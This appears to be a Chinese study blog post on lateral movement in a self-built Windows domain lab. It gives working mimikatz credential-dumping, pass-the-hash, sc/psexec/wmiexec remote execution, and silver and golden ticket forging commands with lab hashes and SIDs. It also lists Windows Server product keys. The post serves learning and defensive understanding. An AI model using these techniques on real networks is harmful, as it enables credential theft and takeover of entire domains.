Windows域横向进修

前言

这里的横向指的是我们在mimikatz拿到明文或者hash密码的情况下,对域控进行的横向渗透,又或者是从域控渗透到别的主机的一些操作和原理以及比较底层的一些了解

image-20250817185306290

域环境安装

[VMware搭建AD域控全过程解析(2025实战版附图文解析)_ad域控搭建-CSDN博客](https://blog.csdn.net/weixin_61609520/article/details/145748447#:~:text=本文将详细解析在VMware中搭建AD域控的全过程,希望对于新手和小白有所帮助。 VMware Workstation:用于创建和管理虚拟机。 Windows,Server 2019(或其他版本)ISO镜像:作为AD域控服务器的操作系统。 下面镜像下载连接分享给大家。 物理机或虚拟机:确保有足够的CPU、内存和存储空间。 网络环境:确保虚拟机可以访问外部网络(如果需要从互联网下载更新或补丁)。)

虚拟机安装

1
2
3
4
5
6
Windows Server 2019 Datacenter
  [Key]:WMDGN-G9PQG-XVVXX-R3X43-63DFG
  Windows Server 2019 Standard
  [Key]:N69G4-B89J2-4G8F4-WWYCC-J464C
  Windows Server 2019 Essential
  [Key]:WVDHN-86M7X-466 P 6-VHXV7-YY726

image-20250818005550467

开启之后就可以配置我们的AD域控服务器了

image-20250818011107988

添加角色和功能->安装类型->服务器选择

image-20250819125938985

勾选“Active Directory域服务”和“DNS服务器”角色,然后点击“下一步”

一直下一步然后安装

将本机器提升为域控

image-20250819130326474

为我们的域添加根域名

image-20250819130626866

配置密码后下一步

image-20250819130825348

DSRM 是 Windows 域控的一种“救援模式”,当 Active Directory 服务故障、数据库损坏或者需要做离线维护时,你必须用它启动系统。
它用 “本地管理员账户 + DSRM 密码” 登录,不加载 AD 服务,允许你安全地修复、恢复和维护域控。

配置NETBIOS

image-20250819131013808

NetBIOS 是早期局域网内计算机之间的名字解析与通信机制,曾是 Windows 网络基础的一部分,如今大多数企业网络已用 DNS 替代,但它在一些旧系统互通、共享发现中仍会出现。

先决条件检查

image-20250819131340492

因为刚刚安装虚拟机的时候用了弱口令所以要修改一下密码

计算机管理->本地用户和组->用户->设置密码

image-20250819131528795

通过后就可以直接点击安装了

image-20250819131649157

创建组织和用户

选择用户和计算机

image-20250819133445901

在我们刚刚的域名下新建一个用户

image-20250819133714380

DNS服务器配置

想加入域控的虚拟机需要把DNS服务器手动配置为域控主机的ip才可以ping通

image-20250820194805229

加入域组织

新启另一台虚拟机,保证双方可以ping通

image-20250819172314914

高级系统设置->计算机名->更改域

image-20250819174006801

输入刚刚创建的账户即可登录域

image-20250820195004859

用户名需要严格用户名登录

windows 2000以下的格式是域名\用户名

windows 2000以上的格式是用户名@域名

image-20250820201854280

然后打开域控就可以看见这台电脑加入了域控

image-20250820202000758

基于NTLM的横向

对NTLM的攻击就是比较常见的哈希传递了

WMI横向

WMI认识

wmi是一种我们windows默认开机自启动的服务全名winmgmt全称应该叫做Windows Management Instrumentation

WMI 提供了一种标准接口,让程序、脚本或者远程计算机可以以相同的方式获取和操作系统数据,例如:

  • 查看操作系统版本、补丁信息
  • 查询硬件信息(CPU、内存、磁盘、主板序列号等)
  • 管理进程、服务、事件日志
  • 监控系统运行状态、性能计数器
  • 配置网络设置、防火墙规则等

image-20250817185826748

打开可以搜索Windows Management Instrumentation

image-20250817232444927

通过描述可以知道这个服务比较重要关闭的话多数Windows的软件会无法运行

使用WMI

前面说到,我们可以使用WMI去做一下信息的查询,比如使用命令去使用WMI服务查询系统信息

1
2
3
4
5
6
# 查询操作系统信息
Get-CimInstance -ClassName Win32_OperatingSystem
# 查询 CPU 信息
Get-CimInstance -ClassName Win32_Processor
# 查询运行的进程
Get-CimInstance -ClassName Win32_Process | Select-Object Name, ProcessId

image-20250817233125432

甚至可以使用他去管理进程,这也是我们为什么使用他去getshell的原因

1
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = "calc"}

弹出计算器

远程调用WMI

WMI服务是开在我们电脑哪个端口吗?并非,如果是普通的windows系统WMI服务是不会开放在某个端口给谁连接的,但是域控服务器上的WMI服务是默认开启的,可以通过tcp135的RCP(远程方法调用)这个端口去访问

WMI调用认证

WMI的远程调用使用的认证协议是kerbose协议,所以调用过程是通过hash或者明文

为什么可以使用hash去登录,因为在一些渗透工具中,用 MimikatzImpacketCrackMapExec 等工具,可以在本机注入目标账户的 NTLM Hash 到 LSASS,建立一个虚假登录会话,然后在这个会话里运行 wmic,用户必须要在Administrators 组

image-20250824153543182

使用原生的wmi去远程调用wmi

1
/node:"192.168.127.128" /user:"[email protected]" /password:"Ewoji@123" process list brief

image-20250824153537840

判断是否在admin组的先决条件

1
net localgroup administrators

这里显示的是计算机名字,并非域用户名字

使用NTLM认证远程调用

先使用mimikatz去抓取hash

1
lsadump::sam

image-20250824153531629

然后使用impacket直接使用hash去获取shell

1
2
python wmiexec.py ewoji.com/[email protected] -hashes aad3b435b51404ee
aad3b435b51404ee:bbe8460bfcd617a1dd559e40602b7ea1

image-20250824153524333

SMB横向

SMB认识

首先要先了解一下SMB的主要功能,SMB主要是用来建立共享文件夹的,现代SMB通常开在445端口且默认开启

image-20250824160554203

大多数 Windows 企业环境中,SMB 服务都是默认开启的,尤其是域控、文件服务器、加入域的工作站。
在家庭版/工作组环境,TCP 445 端口对应的 SMB 服务也在运行,但防火墙会默认阻止从外网直接访问。
**所以在内网渗透中,SMB 横向几乎总是可行的,除非管理员专门关闭了 Server 服务或 SMB 相关防火墙规则。

SMB使用

首先看看SMB比较基础的用法,也是用上了基本没用过的共享

image-20250825155720391

然后就会给出网络路径

image-20250825155851771

在资源管理器输入地址后就可以访问这个共享文件夹

image-20250825160833035

默认共享文件夹

SMB之所以是横向利器是因为有很多东西都是默认开启的且不止是域控服务器开启

比如我们输入就可以看到我们已经默认开启的文件夹

1
net share

image-20250825163112125

这里有资源指向的都比较好理解比如就是指向具体的cdef盘

但是这个IPC就是可以了解一下

通过了域控的 IPC 认证意味着什么?

  1. 说明你已经用某个域账户在目标机器上完成了 NTLM/Kerberos 认证
    • 系统会为这个连接建立一个会话凭据 (session)。
  2. 这代表你已经在该主机上“登陆成功”,但能做什么取决于这个账户的权限。

重点:IPC$ 只是做了通道建立和凭据传递,并不自动赋予你访问所有共享或使用管理接口的权限。

SMB的利用过程

我们知道我们通过认证后就可以去使用域控默认的共享文件夹了,这意味着我们可以任意写入东西,所以可以任意上传一些远控木马,最后还需要通过一个sc命令去执行这个木马

SC命令

scService Control 命令行工具,全称 Service Controller

主要功能:

  • 创建、删除、启动、停止 Windows 服务
  • 查询服务状态
  • 协助进行远程服务管理
1
2
sc create MyService binPath= "C:\Path\to\app.exe"
sc start MyService
  • 远程调用的原因
    Windows 的服务管理系统(Service Control Manager, SCM)支持通过 RPC 协议在网络上操作远程主机的服务,只要你对目标主机有管理员权限sc 在内部会调用 MSRPC 接口(常走 TCP 445 上的命名管道 \\<host>\pipe\svcctl)来管理远程服务

  • 远程例子(前提:有管理员凭据,SMB/RPC可访问):

    1
    2
    sc \\192.168.1.20 create EvilService binPath= "C:\Windows\Temp\evil.exe"
    sc \\192.168.1.20 start EvilService

    这样evil.exe 就会在目标机器执行了

所以利用过程也是比较简单,就是上传一个马之后使用sc去执行木马即可,同样这个工作也在Impacket中被集成了,并且利用方式更加高级,具体要去了解一下RemComSvc

RemCom和impacket.psexec简介_remcom.exe-CSDN博客

这里会利用smbexec.py和psexec.py然后能知道他们两个的区别即可

psexec.py
功能:模仿 Microsoft 的 PSEXEC 工具,通过 SMB 协议和 RemComSvc 服务执行命令,提供交互式 Shell。
用法:
python3 psexec.py domain/user:password@target_ip
特点:需要管理员权限,依赖 RemComSvc 服务,适合需要稳定 Shell 的场景。
示例:
python3 psexec.py CORP/user1:Passw0rd@192.168.1.100

smbexec.py
功能:类似 psexec.py,但不依赖 RemComSvc,通过 SMB 协议创建临时服务执行命令,输出通过本地 SMB Server 接收。
用法:
python3 smbexec.py domain/user:password@target_ip
特点:无需目标有可写共享目录,隐蔽性较高。
注意:可能在高安全环境下触发告警。

一语概括就是psexec是会形成交互式shell的,而smbexec就是执行一个命令输出一次类似一句话木马

由于其中的技术细节也没深入了解,只能从我这个本地的小环境的结果去做出一点区别,在windows 2019 server中,使用smbexec没有被计算机自带的杀毒监测到且是SYSTEM用户

image-20250826143254287

而使用psexec.py是被杀毒软件杀了的,因为他是要上传一个木马,所以直接被杀了

image-20250826143343354

基于Kerberos的横向

上面通过NTLM的横向去向是从域用户主机->域控主机的横向

而下面通过Kerberos的票据伪造横向是从域控主机->域用户主机的横向,并且也是一种维持权限的手段,这里需要注意的是黄金白银票据的伪造一定是拿下域控后的渗透手段,不要认为是一种可以从域用户到域控的手段导致混淆

kerberos名词来源

在古希腊神话故事中,kerberos是一只具有三颗头颅的地狱恶犬,他守护在地狱之外,能够识别所有经此的亡灵,防止活着的入侵者闯入地狱

image-20250828174414827

实际上这个流程没有多高大上,就和去动物园过安检买个票或者进小区跟保安要个临时通行证差不多

名词概念具体化

首先以动物园买票为例

image-20250828214112221

这个过程是张三去动物园卖票中心买门票,首先要提供身份信息,之后卖票中心KDC(又分为两个部门,一个是安检部门AS,一个是卖票窗口TGS),通过AS验证后,安检部门会给张三一个安全通行证TGT,接下来张三就可以凭着这张安全通行证TGT自由出入卖票窗口买票ST了,拿到票ST后就可以凭票去访问要访问的地方

KDC(Key Distribution Center,密钥分发中心): Kerberos 的第三方认证服务器,负责存储用户和服务信息,并管理票据的签发与分发,由 AS 和 TGS 两部分组成

AS(Authentication Server,认证服务器): KDC 的一个组件,负责核验客户端身份,验证通过后向客户端签发票证授予票据(TGT),同时生成用于与 TGS 通信的会话密钥

TGS(Ticket Granting Server,票据授权服务器): KDC 的一个组件,负责根据客户端提供的 TGT 为其签发访问特定服务所需的服务票证(ST)

TGT(Ticket Granting Ticket,票证授予票据): 由 AS 签发,用于客户端向 TGS 申请服务票证的凭证,作用类似“通行证”

ST(Service Ticket,服务票证): 由 TGS 签发,用于客户端访问目标应用服务器的凭证,包含客户端与服务端之间的会话密钥等信息

实际上这里的TGT就是我们说的黄金票据,ST就是白银票据

因为拿到TGT后我们可以随意购入去哪的门票,而拿到ST后只能去某个特地的地方

具体实现

那么这些在具体的域控认证服务器中是怎么运作的呢,又为什么会出现票据伪造的可能,我们分阶段来看

一阶段-客户端进入安检AS(AS-REQ)

在这个阶段,客户端回向AS发送大概如下字段

具体通信端口是88,以及一些通信用的编码,消息格式等这里不必深究

1
2
3
4
5
客户端主体名(CName):即用户名 + 所属域信息(Principal Name)
客户端所属域(Realm):用户所在 Kerberos 域/AD 域名
客户端地址列表(Host Addresses):客户端的 IP/主机地址(可选)
请求的有效期(till/nonce):要求票据有效到什么时候(包含 Nonce 防重放)
加密的时间戳(PA-ENC-TIMESTAMP):用客户端口令派生的密钥加密,用来证明客户端知道自己的密钥(密码)

二阶段-AS响应返回TGT(AS-REP)

然后AS回响应如下结构的信息

image-20250828220245383
这里必须要指出的是经过用户的HASH加密指的是:使用用户HASH,也就是NTLM认证协议中的HASH作为某种对称加密算法的key来加密的,这里的对称加密算法各个版本不同,可以是RC4,AES,DES这三种之一

这意味着用户是可以解密第一部分信息的,那么第二部分信息呢?

第二部分信息说的是使用krbtgt的hash去作一个对称算法加密的,那么这里说的krbtgt肯定就是一个用户了,实际上他就是那个发票员的名字,这个用户是域控的一个固定用户,所以我们作为客户端是不能获取到krbtgt的hash值的,我们自然就不能解密这个信息

三阶段-客户端解密重打包信息发给TGS(TGS-REQ)

这个CT_SK加密主要是用来防止name,ip,time被篡改,并且下面也保存了这些信息,等于有了个双重保障防止信息被篡改,并且可以看到这里加入了一个servername,其实也就是发票员的名字krbtgt/EXAMPLE.COM

image-20250828221107099

如果比较敏感的话这里我们就可以知道黄金票据伪造的原理了,如果这里的krbtgt被窃取的话,那么我们就可以做到任意伪造tgt了,继续往下看

四阶段-TGS 向客户端回响应ST(TGS-REP)

前面说到我们终于可以拿着tgt去找tgs要门票了

这是我们的st字段结构

image-20250829015202099

这里的server hash加密指的是某个服务用户的hash,其实本质上还是用户去ntlm认证的hash,所以说白银票据的伪造难度较低且实用

伪造白银票据ST

可以利用的一些默认服务有这些

image-20250829155037635

伪造CIFS服务的白银票据

直接使用mimikatz抓取到某个用户的hash,我们就可以通过这种方式去访问它的服务

1
lsadump::lsa /patch

image-20250830204349929

1
kerberos::golden /domain:ewoji.com /sid:S-1-5-21-915193653-4189540693-2895346901 /target:WIN-TSF3EP0F8RR.ewoji.com /service:cifs /rc4:f7f617d392921c83752cb6ab2ae3cc88 /user:Administrator /ptt
  • domain:域控名称->whoami /fqdn获得
  • sid:用户sid->whoami /user获得一般一个域的sid唯一,最后-后面的要删除,是用户的唯一标识符

sid的查询方法还有Get-ADComputer -Identity WIN-TSF3EP0F8RR -Properties SID | Select-Object Name, SID

  • target:主机名和域控名称的拼接->就是你要横向的主机名
  • service:就是要去访问的服务名,根据需求选择
  • rc4:算法选择后面跟用户NT,算法可以灵活选择
  • user:用户名->大多数情况下可以任意->就是mimikatz抓取到的用户基本都可以用

image-20250830210229150

注入成功后我们退出mimikatz依旧使用这个已经注入票据的powershell输入klist查看票据是否存在

image-20250830210310736

有了CIFS服务的票据我们就可以直接访问一些共享的目录,前面在说smb的时候也提到了各个盘符基本都是默认共享的

1
dir \\WIN-TSF3EP0F8RR.ewoji.com\C$

image-20250830210445065

伪造HOST和RPCSS服务的白银票据

从刚刚知道伪造HOST和RPCSS服务的白银票据可以访问wmi服务也就意味着可以直接实现命令执行

先清空当前shell的凭证

1
klist purge

其余参数不变,实际上就是变一个服务

HOST服务

1
kerberos::golden /domain:ewoji.com /sid:S-1-5-21-915193653-4189540693-2895346901 /target:WIN-TSF3EP0F8RR.ewoji.com /service:HOST /rc4:f7f617d392921c83752cb6ab2ae3cc88 /user:Administrator /ptt

RPCSS服务

1
kerberos::golden /domain:ewoji.com /sid:S-1-5-21-915193653-4189540693-2895346901 /target:WIN-TSF3EP0F8RR.ewoji.com /service:RPCSS /rc4:f7f617d392921c83752cb6ab2ae3cc88 /user:Administrator /ptt

然后调用远程服务

1
wmic /node:target.domain.local process call create "calc"

或者

1
Invoke-WmiMethod -Path Win32_Process -ComputerName WIN-TSF3EP0F8RR.ewoji.com -Name Create -ArgumentList 'cmd'

成功执行

image-20250830212714042

在被横向的主机tasklist可以看到确实有一个2272的pid的cmd.exe被唤起

image-20250830212822013

伪造黄金票据TGT

前面说到如果我们拥有了TGT,就意味着我们可以随意购买任何服务的ST,接下来同样使用mimikatz去实现

上面也说了伪造黄金票据我们需要的是krbtgt的hash,并且在上面我们也已经抓取到了这个hash

mimikatz伪造

1
kerberos::golden /user:administrator /domain:ewoji.com /sid:S-1-5-21-915193653-4189540693-2895346901 /krbtgt:13aa867a6ff0e1c12380dd5e9f811634 /ticket:ticket.kirbi

/ticket:ticket.kirbi
将生成的黄金票据保存为一个 .kirbi 文件,方便后续使用 kerberos::ptt(Pass-The-Ticket)命令注入到会话中使用

image-20250831005056896

然后传递票据

1
kerberos::ptt ticket.kirbi

image-20250831005311834

然后不管是smb服务还是wmi服务我们现在都可以随意使用了,也就是说只要在这域控下的所有主机我们都可以接管了

image-20250831005432176

利用票据去获取交互式shell

我们使用mimikatz把票据注入会话之后,上面演示的都是使用最基本的命令行去操作的,要做到拿到交互式的shell还得配合其他工具去利用

配合Impacket去拿shell

因为Impacket读取票据有自己的一个格式,impacket也是提供了一个给mimikatz生成的ticket格式转换为他自己可以用的格式

直接使用这个会话中的凭据是用不了的

image-20250831160805656

转换命令

1
python ticketConverter.py ticket.kirbi ticket.ccache

然后设置刚刚票据地址

1
$env:KRB5CCNAME="D:\Global\apps\impacket\impacket-0.12.0\examples\ticket.ccache"

然后再调用psexec或者wmiexec

1
python psexec.py -k -no-pass ewoji.com/administrator@WIN-TSF3EP0F8RR

image-20250831163055924

白银票据同理,去掉/ptt参数,换为/ticket:保存再转换即可

知识参考

一个讲的很好的视频4.黄金票据攻击Golden Ticket Attack_哔哩哔哩_bilibili